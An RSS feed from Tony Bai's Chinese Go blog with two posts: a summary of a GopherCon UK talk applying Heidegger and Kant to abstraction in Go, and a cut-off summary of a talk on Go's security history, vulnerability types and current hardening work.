<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tony Bai &#187; Assembly</title>
	<atom:link href="http://tonybai.com/tag/assembly/feed/" rel="self" type="application/rss+xml" />
	<link>https://tonybai.com</link>
	<description>一个程序员的心路历程</description>
	<lastBuildDate>Sun, 19 Apr 2026 03:13:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>为什么 Go 社区强调避免不必要的抽象？—— 借用海德格尔哲学寻找“正确”的答案</title>
		<link>https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction/</link>
		<comments>https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction/#comments</comments>
		<pubDate>Fri, 16 Jan 2026 00:04:27 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[Abstraction]]></category>
		<category><![CDATA[Analytictruth]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[BeingandTime]]></category>
		<category><![CDATA[CognitiveLoad]]></category>
		<category><![CDATA[Coincidence]]></category>
		<category><![CDATA[DesignPatterns]]></category>
		<category><![CDATA[Essentialtruth]]></category>
		<category><![CDATA[Function]]></category>
		<category><![CDATA[generics]]></category>
		<category><![CDATA[Go]]></category>
		<category><![CDATA[GoCommunity]]></category>
		<category><![CDATA[Golang]]></category>
		<category><![CDATA[GopherConUK2025]]></category>
		<category><![CDATA[Heidegger]]></category>
		<category><![CDATA[Inappropriateabstraction]]></category>
		<category><![CDATA[Interface]]></category>
		<category><![CDATA[io.Reader]]></category>
		<category><![CDATA[JohnCinnamond]]></category>
		<category><![CDATA[Kant]]></category>
		<category><![CDATA[monad]]></category>
		<category><![CDATA[ORM]]></category>
		<category><![CDATA[Presentathand]]></category>
		<category><![CDATA[Readytohand]]></category>
		<category><![CDATA[Socialcost]]></category>
		<category><![CDATA[Synthetictruth]]></category>
		<category><![CDATA[Unnecessaryabstractions]]></category>
		<category><![CDATA[上手状态]]></category>
		<category><![CDATA[不必要的抽象]]></category>
		<category><![CDATA[不恰当的抽象]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[分析真理]]></category>
		<category><![CDATA[在手状态]]></category>
		<category><![CDATA[存在与时间]]></category>
		<category><![CDATA[巧合]]></category>
		<category><![CDATA[康德]]></category>
		<category><![CDATA[抽象]]></category>
		<category><![CDATA[接口]]></category>
		<category><![CDATA[本质真理]]></category>
		<category><![CDATA[汇编]]></category>
		<category><![CDATA[泛型]]></category>
		<category><![CDATA[海德格尔]]></category>
		<category><![CDATA[社会成本]]></category>
		<category><![CDATA[综合真理]]></category>
		<category><![CDATA[认知负担]]></category>
		<category><![CDATA[设计模式]]></category>

		<guid isPermaLink="false">https://tonybai.com/?p=5730</guid>
		<description><![CDATA[本文永久链接 &#8211; https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction 大家好，我是Tony Bai。 “Go 的哲学强调避免不必要的抽象。” 这句话我们听过无数次。当你试图引入 ORM、泛型 Map/Reduce 、接口或者复杂的设计模式时，往往会收到这样的反馈。这句话本身没有错，但难点在于：到底什么是“不必要”的？ 函数是抽象吗？汇编是抽象吗？如果不加定义地“避免抽象”，我们最终只能对着硅片大喊大叫。 在 GopherCon UK 2025 上，John Cinnamond 做了一场与众不同的演讲。他没有展示任何炫酷的并发模式，而是搬出了马丁·海德格尔（Martin Heidegger）和伊曼努尔·康德（Immanuel Kant），试图用哲学的视角，为我们解开关于 Go 抽象的终极困惑。 注：海德格尔与《存在与时间》 马丁·海德格尔（Martin Heidegger）是 20 世纪最重要的哲学家之一。他在 1927 年的巨著《存在与时间》(Being and Time) 中，深入探讨了人（此在）如何与世界互动。John Cinnamond 在演讲中引用的核心概念——“上手状态” (Ready-to-hand) 和 “在手状态” (Present-at-hand)，正是海德格尔用来描述我们与工具（如锤子）之间关系的术语。这套理论极好地解释了为什么优秀的工具（或代码抽象）应该是“透明”的，而糟糕的工具则会强行占据我们的注意力。 我们都在使用的“必要”抽象 首先，让我们承认一个事实：编程本身就是建立在无数层抽象之上的。 泛型：这是对类型的抽象。虽然 Go 曾长期拒绝它，但在技术上它是必要的，否则我们将充斥着重复代码。 接口：这是对行为的抽象。io.Reader 让我们不必关心数据来自文件还是网络。 函数：这是对指令序列的抽象。没有它，我们只能写长长的 main 函数。 汇编语言：这是对机器码的抽象。 所以，当我们说“避免不必要的抽象”时，我们真正想表达的其实是——避免“不恰当” (Inappropriate) 的抽象。 那么，如何判断一个抽象是否“恰当”？ 何为抽象？—— [...]]]></description>
			<content:encoded><![CDATA[<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-1.png" alt="" /></p>
<p><a href="https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction">本文永久链接</a> &#8211; https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction</p>
<p>大家好，我是Tony Bai。</p>
<p><strong>“Go 的哲学强调避免不必要的抽象。”</strong></p>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-2.png" alt="" /></p>
<p>这句话我们听过无数次。当你试图引入 ORM、泛型 Map/Reduce 、接口或者复杂的设计模式时，往往会收到这样的反馈。这句话本身没有错，但难点在于：<strong>到底什么是“不必要”的？</strong></p>
<p>函数是抽象吗？汇编是抽象吗？如果不加定义地“避免抽象”，我们最终只能对着硅片大喊大叫。</p>
<p>在 GopherCon UK 2025 上，John Cinnamond 做了<a href="https://www.youtube.com/watch?v=oP_-eHZSaqc">一场与众不同的演讲</a>。他没有展示任何炫酷的并发模式，而是搬出了马丁·海德格尔（Martin Heidegger）和伊曼努尔·康德（Immanuel Kant），试图用哲学的视角，为我们解开关于 Go 抽象的终极困惑。</p>
<blockquote>
<p><strong>注：海德格尔与《存在与时间》</strong></p>
<p>马丁·海德格尔（Martin Heidegger）是 20 世纪最重要的哲学家之一。他在 1927 年的巨著《存在与时间》(Being and Time) 中，深入探讨了人（此在）如何与世界互动。John Cinnamond 在演讲中引用的核心概念——<strong>“上手状态” (Ready-to-hand)</strong> 和 <strong>“在手状态” (Present-at-hand)</strong>，正是海德格尔用来描述我们与工具（如锤子）之间关系的术语。这套理论极好地解释了为什么优秀的工具（或代码抽象）应该是“透明”的，而糟糕的工具则会强行占据我们的注意力。</p>
</blockquote>
<p><img src="https://tonybai.com/wp-content/uploads/2026/distributed-system-guide-qr.png" alt="img{512x368}" /></p>
<h2>我们都在使用的“必要”抽象</h2>
<p>首先，让我们承认一个事实：<strong>编程本身就是建立在无数层抽象之上的。</strong></p>
<ul>
<li><strong>泛型</strong>：这是对类型的抽象。虽然 Go 曾长期拒绝它，但在技术上它是必要的，否则我们将充斥着重复代码。</li>
<li><strong>接口</strong>：这是对行为的抽象。io.Reader 让我们不必关心数据来自文件还是网络。</li>
<li><strong>函数</strong>：这是对指令序列的抽象。没有它，我们只能写长长的 main 函数。</li>
<li><strong>汇编语言</strong>：这是对机器码的抽象。</li>
</ul>
<p>所以，当我们说“避免不必要的抽象”时，我们真正想表达的其实是——<strong>避免“不恰当” (Inappropriate) 的抽象</strong>。</p>
<p>那么，如何判断一个抽象是否“恰当”？</p>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-3.png" alt="" /></p>
<h2>何为抽象？—— 一场有目的的“细节隐藏”</h2>
<p>在深入探讨“正确”的抽象之前，我们必须先回到最基本的定义。John Cinnamond 在演讲中给出了一个精炼而深刻的定义：</p>
<blockquote>
<p><strong>“抽象是一种表示 (Representation)，但它是一种刻意移除被表示事物某些细节的表示。”</strong></p>
</blockquote>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-4.png" alt="" /></p>
<p>让我们拆解这个定义：</p>
<ol>
<li>抽象是一种“表示”，而非事物本身<br />
它不是代码的实体，而是代码的地图或模型。例如，一辆模型汽车是真实汽车的表示，但 Gopher 吉祥物是地鼠的抽象——它刻意省略了真实地鼠的所有细节，只保留了核心特征。</li>
</ol>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-6.png" alt="" /></p>
<ol>
<li>抽象是“有目的的”细节移除<br />
这与仅仅是“不精确”或“粗糙”不同。抽象是有意为之的，它不试图精确描绘所有方面，而是<strong>只关注某个特定维度</strong>。</li>
</ol>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-5.png" alt="" /></p>
<ol>
<li>抽象在编程中具有动态性
<ul>
<li>不确定引用 (Indefinite Reference)：一个抽象（如 io.Reader）通常可以指代许多不同的具体实现。</li>
<li>开放引用 (Open Reference)：抽象的内容或它所指代的事物可以随着时间而改变。</li>
</ul>
</li>
</ol>
<p><strong>为什么要刻意移除细节？John 总结了几个核心动机：</strong></p>
<ul>
<li>避免重复代码：将重复的逻辑提取到抽象中。</li>
<li>统一不同的实现：允许以统一的方式处理本质上不同的数据结构（如所有实现了 Read 方法的类型）。</li>
<li>推迟细节：隐藏那些当下不重要、或开发者不关心的细节（例如，你坐火车参会，不需要知道每节车厢的编号）。</li>
<li>揭示领域概念：用抽象来更好地表达业务领域中的核心概念。</li>
<li>驾驭复杂性：这是最核心的理由——没有抽象，我们无法在大脑中一次性处理所有细节，也就无法解决复杂的问题。</li>
</ul>
<p><strong>但请记住，并非所有抽象都是一样的。John 将它们分为三类：</strong></p>
<ol>
<li>
<p>基于“它是如何工作的” (How it works)<br />
这是为了代码复用而提取的抽象。例如，你发现两处代码都在做“检查用户是否是管理员”的逻辑，于是将其提取为一个函数。这种抽象关注的是内部机制。 <em>(这类抽象通常比较脆弱，一旦实现细节变化，抽象可能就会失效。)</em></p>
</li>
<li>
<p>基于“它做了什么” (What it does)<br />
这是 Go 语言中接口（Interface）最典型的用法。例如 io.Reader，我们不关心它是文件还是网络连接，我们只关心它能“读取字节”。这是一种行为抽象。</p>
</li>
<li>
<p>基于“它是什么” (What it is)<br />
这是基于领域模型的抽象。例如一个 User 结构体，它代表了系统中的一个实体。这种抽象关注的是本质属性。</p>
</li>
</ol>
<p>在现实中，好的抽象往往是这三者的混合体，但在设计时，明确你是在抽象“行为”还是“实现”，对于判断抽象的质量至关重要。</p>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-7.png" alt="" /></p>
<p>理解了抽象的本质，我们可能会觉得：既然抽象能驾驭复杂性，那是不是越多越好？</p>
<p>且慢。在急于评判一个抽象是否“恰当”之前，我们必须先意识到一个常被技术人员忽略的现实：<strong>抽象不仅存在于代码中，更存在于人与人的互动里。</strong> 这将我们引向了一个更现实的考量维度。</p>
<h2>抽象的代价 —— 代码是写给人看的</h2>
<p>John 提醒我们，软件开发本质上是一项<strong>社会活动 (Social Activity)</strong>。</p>
<blockquote>
<p><strong>“除非你是为了自己写着玩，否则你的代码总是写给别人看的。团队是一个微型社会，它有自己的习俗、信仰和‘传说’(Lore)。”</strong></p>
</blockquote>
<p>引入一个新的抽象，本质上是在向这个微型社会引入一种新的文化或规则。这意味着：</p>
<ol>
<li><strong>你需要支付“社会成本”</strong>：如果这个抽象与团队现有的习惯（Lore）相悖——比如在一个从未用过函数式编程的 Go 团队里强推 Monad——你将遭遇巨大的阻力。</li>
<li><strong>团队的保守性</strong>：成熟的团队往往趋于保守，改变既定习惯需要巨大的能量。你不能仅仅因为一个抽象在理论上很美就引入它，你必须证明<strong>它的收益足以覆盖它带来的社会摩擦成本</strong>。</li>
<li><strong>认知负担是共享的</strong>：一个抽象对你来说可能很清晰，但如果它让队友感到困惑，那就是在消耗团队的整体智力资源。</li>
</ol>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-8.png" alt="" /></p>
<p>因此，当我们评判一个抽象是否“恰当”时，不能只看代码本身，还必须看它是否<strong>“合群”</strong>。这正是我们接下来要引入海德格尔哲学的现实基础。</p>
<h2>锤子哲学 —— “上手状态” vs. “在手状态”</h2>
<p>John 引用了海德格尔在《存在与时间》中的一个著名概念：<strong>Ready-to-hand (上手状态)</strong> 与 <strong>Present-at-hand (在手状态)</strong>。</p>
<ul>
<li><strong>上手状态 (Ready-to-hand)</strong>：当你熟练使用一把锤子钉钉子时，你的注意力完全在钉钉子这件事上，锤子本身在你意识中是“透明”的。你感觉不到它的存在，它只是你身体的延伸。</li>
<li><strong>在手状态 (Present-at-hand)</strong>：当锤子突然坏了（比如锤头掉了），或者你拿到一把设计奇特的陌生工具时，你的注意力被迫从“钉钉子”转移到了“锤子”本身。你开始审视它的构造、重量和用法。</li>
</ul>
<p><strong>这对代码意味着什么？</strong></p>
<ul>
<li><strong>好的抽象是“上手状态”的</strong>：比如 for 循环。作为经验丰富的开发者，你使用它时是在思考“我要遍历数据”，而不是“这个循环语法是怎么编译的”。它透明、顺手，让你专注于解决问题。</li>
</ul>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-9.png" alt="" /></p>
<ul>
<li><strong>坏的抽象是“在手状态”的</strong>：比如一个复杂的、过度设计的 ORM 或者一个晦涩的 Monad 库。当你使用它时，你的思维被迫中断，你需要停下来思考：“这个函数到底在干什么？这个参数是什么意思？”</li>
</ul>
<p>如果一个抽象让你频繁地从“解决业务问题”中抽离出来去思考“工具本身”，那么它很可能是一个<strong>坏的抽象</strong>。</p>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-10.png" alt="" /></p>
<blockquote>
<p>注：通过学习和实践，在手状态 (Present-at-hand)的抽象可以转换为 上手状态 (Ready-to-hand)的抽象。</p>
</blockquote>
<h2>真理的检验 —— “本质真理” vs. “巧合真理”</h2>
<p>接着，John 又搬出了康德关于真理的分类，引导我们思考抽象的<strong>持久性</strong>。</p>
<ul>
<li><strong>分析真理 (Analytic Truth)</strong>：由定义决定的真理。比如“所有单身汉都没结婚”。在代码中，这就像 unnecessary abstractions are unnecessary，虽然正确但没啥用。</li>
<li><strong>综合真理 (Synthetic Truth)</strong>：由外部事实决定的真理。比如“外面在下雨”。它的真假取决于环境，随时可能变。</li>
<li><strong>本质真理 (Essential Truth)</strong>：虽然不是由定义决定，但反映了世界的本质规律。比如“物质由原子构成”。</li>
</ul>
<p><strong>这对抽象意味着什么？</strong></p>
<p>当你提取一个抽象时，问问自己：<strong>它代表的是代码的“本质真理”，还是仅仅是一个“巧合”？</strong></p>
<p>举个例子：你有一段过滤商品的代码，可以按“价格”过滤，也可以按“库存”过滤。你提取了一个 Filter(Product) bool 的抽象。</p>
<ul>
<li>如果未来所有的过滤需求（如颜色、大小）都能用这个签名解决，那么你发现了一个<strong>本质真理</strong>。这个抽象是稳固的。</li>
<li>但如果突然来了一个需求：“过滤掉重复的商品”，这个需求需要知道<strong>所有</strong>商品的状态，而不仅仅是单个商品。原本的 Filter(Product) bool 签名瞬间失效。</li>
</ul>
<p>如果你提取的抽象仅仅是因为几段代码“长得像”（巧合），而不是因为它们“本质上是一回事”，那么当需求变更时，这个抽象就会崩塌，变成一种负担。</p>
<p>由此可见，好的抽象不是被<strong>创造</strong>出来的，而是被<strong>发现</strong>（Recognized）出来的。它们是对代码中某种本质结构的捕捉。</p>
<h2>实战指南 —— 如何引入抽象？</h2>
<p>最后，John 给出了一个评估抽象是否“恰当”的五步清单：</p>
<ol>
<li>明确收益 (Benefit)：你到底是为了解决重复、隐藏细节，还是仅仅因为觉得它“很酷”？</li>
<li>考虑社会成本 (Social Cost)：编程是社会活动。这个抽象符合团队的习惯吗？引入它是否需要消耗大量的团队认知成本？（比如在 Go 里强推 Monad等函数式编程的范式）。</li>
<li>是否处于“上手状态” (Ready-to-hand)：它能融入开发者的直觉吗？还是会成为注意力的绊脚石？</li>
<li>是否本质 (Essential)：它是否捕捉到了问题的核心结构，能经得起未来的变化？</li>
<li>是否涌现 (Emergent)：它是你从现有代码中“识别”出来的模式，还是你强加给代码的枷锁？</li>
</ol>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-11.png" alt="" /></p>
<h2>小结：保持怀疑，但别放弃好奇</h2>
<p>Go 社区的“避免不必要的抽象”文化，本质上是对<strong>认知负担</strong>的防御。我们见过太多为了抽象而抽象的烂代码。但 John 提醒我们，不要因此走向另一个极端——<strong>恐惧抽象</strong>。</p>
<p><img src="https://tonybai.com/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-12.png" alt="" /></p>
<p>正确且必要的抽象是强大的武器，它能让我们驾驭巨大的复杂性。只要我们能像海德格尔审视锤子那样审视我们的代码，区分“上手”与“在手”，区分“本质”与“巧合”，我们就能在 Go 的简约哲学中，找到属于自己的那条“正确”道路。</p>
<p>资料链接：https://www.youtube.com/watch?v=oP_-eHZSaqc</p>
<hr />
<p><strong>你的“锤子”顺手吗？</strong></p>
<p>用海德格尔的视角审视代码，确实别有一番风味。<strong>在你现在的项目中，有哪些抽象是让你感觉“如臂使指”的（上手状态）？又有哪些抽象经常让你<br />
“出戏”，迫使你不得不去研究它内部的构造（在手状态）？</strong></p>
<p><strong>欢迎在评论区分享你的“哲学思考”！</strong> 让我们一起寻找那个最本质的代码真理。</p>
<p><strong>如果这篇文章带给你一次思维的“脑暴”，别忘了点个【赞】和【在看】，并转发给那些喜欢深究技术的伙伴！</strong></p>
<hr />
<p>还在为“复制粘贴喂AI”而烦恼？我的新专栏 <strong>《<a href="http://gk.link/a/12EPd">AI原生开发工作流实战</a>》</strong> 将带你：</p>
<ul>
<li>告别低效，重塑开发范式</li>
<li>驾驭AI Agent(Claude Code)，实现工作流自动化</li>
<li>从“AI使用者”进化为规范驱动开发的“工作流指挥家”</li>
</ul>
<p>扫描下方二维码，开启你的AI原生开发之旅。</p>
<p><img src="https://tonybai.com/wp-content/uploads/2025/ai-native-dev-workflow-qr.png" alt="" /></p>
<hr />
<p>你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？</p>
<ul>
<li>想写出更地道、更健壮的Go代码，却总在细节上踩坑？</li>
<li>渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？</li>
<li>想打造生产级的Go服务，却在工程化实践中屡屡受挫？</li>
</ul>
<p>继《<a href="http://gk.link/a/10AVZ">Go语言第一课</a>》后，我的《<a href="http://gk.link/a/12yGY">Go语言进阶课</a>》终于在极客时间与大家见面了！</p>
<p>我的全新极客时间专栏 《<a href="http://gk.link/a/12yGY">Tony Bai·Go语言进阶课</a>》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。</p>
<p>目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！</p>
<p><img src="https://tonybai.com/wp-content/uploads/course-card/iamtonybai-banner-2.gif" alt="" /></p>
<hr />
<p>商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。</p>
<p><img src="http://image.tonybai.com/img/tonybai/iamtonybai-wechat-qr.png" alt="" /></p>
<p style='text-align:left'>&copy; 2026, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Go 安全的“隐形战争”：过去、现在与未来</title>
		<link>https://tonybai.com/2025/09/25/go-security-past-present-and-future/</link>
		<comments>https://tonybai.com/2025/09/25/go-security-past-present-and-future/#comments</comments>
		<pubDate>Thu, 25 Sep 2025 00:15:55 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[API设计]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[BoringSSL]]></category>
		<category><![CDATA[Cgo]]></category>
		<category><![CDATA[checksum数据库]]></category>
		<category><![CDATA[crypto/elliptic]]></category>
		<category><![CDATA[CVE]]></category>
		<category><![CDATA[database/sql]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[FIPS]]></category>
		<category><![CDATA[Go]]></category>
		<category><![CDATA[go1.24]]></category>
		<category><![CDATA[Golang]]></category>
		<category><![CDATA[GopherConUK]]></category>
		<category><![CDATA[govulncheck]]></category>
		<category><![CDATA[go命令]]></category>
		<category><![CDATA[Go安全]]></category>
		<category><![CDATA[Go语言第一课]]></category>
		<category><![CDATA[Go语言进阶课]]></category>
		<category><![CDATA[LogicBugs]]></category>
		<category><![CDATA[Misalignment]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[panic]]></category>
		<category><![CDATA[Post-QuantumCrypto]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[RolandShoemaker]]></category>
		<category><![CDATA[sumdb]]></category>
		<category><![CDATA[TonyBai]]></category>
		<category><![CDATA[TrailofBits]]></category>
		<category><![CDATA[供应链攻击]]></category>
		<category><![CDATA[内存安全]]></category>
		<category><![CDATA[加密库]]></category>
		<category><![CDATA[后量子密码学]]></category>
		<category><![CDATA[外部审计]]></category>
		<category><![CDATA[实现错位]]></category>
		<category><![CDATA[工具链]]></category>
		<category><![CDATA[常量时间特性]]></category>
		<category><![CDATA[底层API]]></category>
		<category><![CDATA[拒绝服务]]></category>
		<category><![CDATA[极客时间]]></category>
		<category><![CDATA[标准库]]></category>
		<category><![CDATA[模块代理]]></category>
		<category><![CDATA[模块生态系统]]></category>
		<category><![CDATA[汇编]]></category>
		<category><![CDATA[汇编代码]]></category>
		<category><![CDATA[测试与验证]]></category>
		<category><![CDATA[漏洞扫描]]></category>
		<category><![CDATA[竞态条件漏洞]]></category>
		<category><![CDATA[行为不当]]></category>
		<category><![CDATA[规范]]></category>
		<category><![CDATA[资源耗尽]]></category>
		<category><![CDATA[逻辑错误]]></category>
		<category><![CDATA[隐形战争]]></category>
		<category><![CDATA[静态分析]]></category>

		<guid isPermaLink="false">https://tonybai.com/?p=5199</guid>
		<description><![CDATA[本文永久链接 &#8211; https://tonybai.com/2025/09/25/go-security-past-present-and-future 大家好，我是Tony Bai。 在软件安全领域，最成功的战役，往往是那些从未被公众所知的“隐形战争”。当一门编程语言的安全性被认为是理所当然时，这背后必然有一支团队在持续不断地进行着防御、修复与规划。对于 Go 语言而言，这支团队就是 Google 内部的 Go 安全/密码学团队。 在今年的 GopherCon UK 大会上，该团队负责人 Roland Shoemaker 发表了一场罕见的、对 Go 安全内核进行深度揭秘的演讲。 这场演讲更像是一部关于 Go 语言在安全领域攻防战的编年史，清晰地描绘了其过去的经验教训、现在的核心工作，以及未来的宏大蓝图，值得每位对Go安全感兴趣的Go开发者参考。 本文也将遵循这一“过去、现在与未来”的宏大叙事，首先深入 Go 语言的安全历史，从其诞生至今的攻防对抗中，汲取那些塑造了其安全基因的深刻教训。 过去 —— 从历史漏洞中汲取的教训 Go 的安全故事，始于其内存安全的基因。这一设计从根源上消除了 C/C++ 中最臭名昭著的内存损坏类漏洞。然而，安全之路远非一片坦途。通过对历史上约 160 个 CVE (Common Vulnerabilities and Exposures，通用漏洞披露) 的分析，我们可以勾勒出 Go 语言独特的漏洞画像。 一份优异但非完美的成绩单 与同类语言相比，Go 的 CVE 总数表现优异，远低于 Python 和 Node.js。虽然高于 Rust，但必须指出，Go 的 CVE [...]]]></description>
			<content:encoded><![CDATA[<p><img src="https://tonybai.com/wp-content/uploads/2025/go-security-past-present-and-future-1.png" alt="" /></p>
<p><a href="https://tonybai.com/2025/09/25/go-security-past-present-and-future">本文永久链接</a> &#8211; https://tonybai.com/2025/09/25/go-security-past-present-and-future</p>
<p>大家好，我是Tony Bai。</p>
<p>在软件安全领域，最成功的战役，往往是那些从未被公众所知的“隐形战争”。当一门编程语言的安全性被认为是理所当然时，这背后必然有一支团队在持续不断地进行着防御、修复与规划。对于 Go 语言而言，这支团队就是 Google 内部的 Go 安全/密码学团队。</p>
<p>在今年的 GopherCon UK 大会上，该团队负责人 <a href="https://github.com/rolandshoemaker">Roland Shoemaker</a> 发表了一场罕见的、对 Go 安全内核进行深度揭秘的<a href="https://www.youtube.com/watch?v=oLtq2sKxjto">演讲</a>。</p>
<p><img src="https://tonybai.com/wp-content/uploads/2025/go-security-past-present-and-future-2.png" alt="" /></p>
<p>这场演讲更像是一部关于 Go 语言在安全领域攻防战的编年史，清晰地描绘了其<strong>过去</strong>的经验教训、<strong>现在</strong>的核心工作，以及<strong>未来</strong>的宏大蓝图，值得每位对Go安全感兴趣的Go开发者参考。</p>
<p>本文也将遵循这一“过去、现在与未来”的宏大叙事，首先深入 Go 语言的安全历史，从其诞生至今的攻防对抗中，汲取那些塑造了其安全基因的深刻教训。</p>
<p><img src="https://tonybai.com/wp-content/uploads/2025/paid/go-crypto-101-qr.png" alt="" /></p>
<h2>过去 —— 从历史漏洞中汲取的教训</h2>
<p>Go 的安全故事，始于其<strong>内存安全</strong>的基因。这一设计从根源上消除了 C/C++ 中最臭名昭著的内存损坏类漏洞。然而，安全之路远非一片坦途。通过对历史上约 160 个 <a href="https://www.cve.org/">CVE</a> (Common Vulnerabilities and Exposures，通用漏洞披露) 的分析，我们可以勾勒出 Go 语言独特的漏洞画像。</p>
<h3>一份优异但非完美的成绩单</h3>
<p>与同类语言相比，Go 的 CVE 总数表现优异，远低于 Python 和 Node.js。虽然高于 Rust，但必须指出，Go 的 CVE 中有 <strong>80%</strong> 来自其庞大且功能丰富的<strong>标准库</strong>。真正属于<strong>工具链本身</strong>（即 go 命令）的漏洞，历史上仅有 <strong>20</strong> 个。</p>
<p>而 Go 最引以为傲的“战绩”，无疑是其自研的<strong>加密库</strong>。通过坚持“审慎地选择性实现”的哲学，拒绝引入小众、复杂的加密算法，Go 的加密库在过去十年中，高危漏洞的数量仅为 OpenSSL 的 <strong>1/20</strong>。</p>
<h3>Go 漏洞的两大“元凶”</h3>
<p>Go 的漏洞并非源于内存损坏，而是集中在两大截然不同的领域：</p>
<ol>
<li>
<p><strong>拒绝服务 (DoS, Denial of Service) &#8211; 影响较低</strong><br />
这通常由<strong>恐慌 (Panic)</strong>（如切片越界）或<strong>资源耗尽</strong>（如因信任恶意输入而分配巨大内存）引起。由于现代云原生基础设施对服务崩溃有很强的弹性，这类漏洞通常被认为是<strong>低影响</strong>的。</p>
</li>
<li>
<p><strong>行为不当 (Incorrect Behavior) &#8211; 影响严重</strong><br />
这是 Go 安全的“心脏地带”，本质上是<strong>逻辑错误 (Logic Bugs)</strong>。其根源复杂多样：</p>
<ul>
<li><strong>模糊的规范</strong>：许多漏洞源于其实现的协议规范本身就存在模糊性或缺少安全考量。例如，早期的 HTTP/1.1 和 HTML 规范，为“走私”请求、无限循环解析等攻击留下了巨大的操作空间。</li>
<li><strong>实现错位 (Misalignment)</strong>：当 Go 的实现与其他语言的实现，在处理相同输入时得出不同结果，就可能产生漏洞。例如，一个 Go 编写的代理，如果它解析 HTTP 请求的方式与下游的后端服务不同，攻击者就可能利用这种差异来“走私”恶意请求。</li>
<li><strong>危险的底层 API</strong>：过早地暴露底层、需要使用者具备深厚专业知识才能安全使用的 API，是一个巨大的隐患。演讲中提到了 crypto/elliptic 包的例子：该包提供了椭圆曲线数学的底层操作，但并未强制执行所有必要的安全检查，而是假设调用者会自己完成。这为误用留下了巨大的风险。</li>
</ul>
</li>
</ol>
<h3>两大高危“雷区”：CGO 与汇编</h3>
<p>演讲特别点名了两个需要被高度警惕的区域：</p>
<ul>
<li><strong>汇编 (Assembly)</strong>：为了极致的性能，Go 的核心加密库大量使用了汇编实现。但这带来了严峻的挑战：Go 自定义的汇编语言难以审查、难以测试，也难以保证其常量时间特性。</li>
<li><strong>CGO</strong>：这是 Go 安全的“重灾区”。Roland 透露了一个惊人的数字：<strong>工具链历史上 20 个漏洞中，有 13 个与 CGO 相关！</strong> 大部分问题并非来自 Go 本身，而是来自对 C 编译器和链接器标志（CGO_CFLAGS, CGO_LDFLAGS）的处理。攻击者可以通过恶意的构建标志，在 go build 期间加载任意共享库，实现远程代码执行。</li>
</ul>
<h2>现在 —— 正在进行的防御工事</h2>
<p>汲取了过去的教训，Go 安全团队正专注于一系列“当下”的核心工作，以加固现有的防御体系。</p>
<h3>1. 废弃并改进 API</h3>
<p>团队正在系统性地审查标准库，逐步废弃那些设计存在缺陷、易被误用的危险 API（如 crypto/rsa 中的某个底层解密函数）。同时，遵循“如何才能让用户无法误用它？”的第一原则，设计更安全、更易于使用的新 API。</p>
<h3>2. 拥抱纯 Go FIPS 支持</h3>
<p>FIPS 是向美国政府销售软件必须遵守的加密标准。过去，<a href="https://tonybai.com/2024/11/16/go-crypto-and-fips-140">Go 的 FIPS 支持</a>依赖于 BoringSSL (一个 C 库)，深受 CGO 问题困扰。在 <a href="https://tonybai.com/2025/02/16/some-changes-in-go-1-24/">Go 1.24</a> 中，团队与社区合作推出了一个<strong>纯 Go 实现的 FIPS 模块</strong>。这不仅摆脱了 CGO 的安全隐患，也极大地简化了用户的合规流程，是一个里程碑式的胜利。</p>
<h3>3. 引入外部审计</h3>
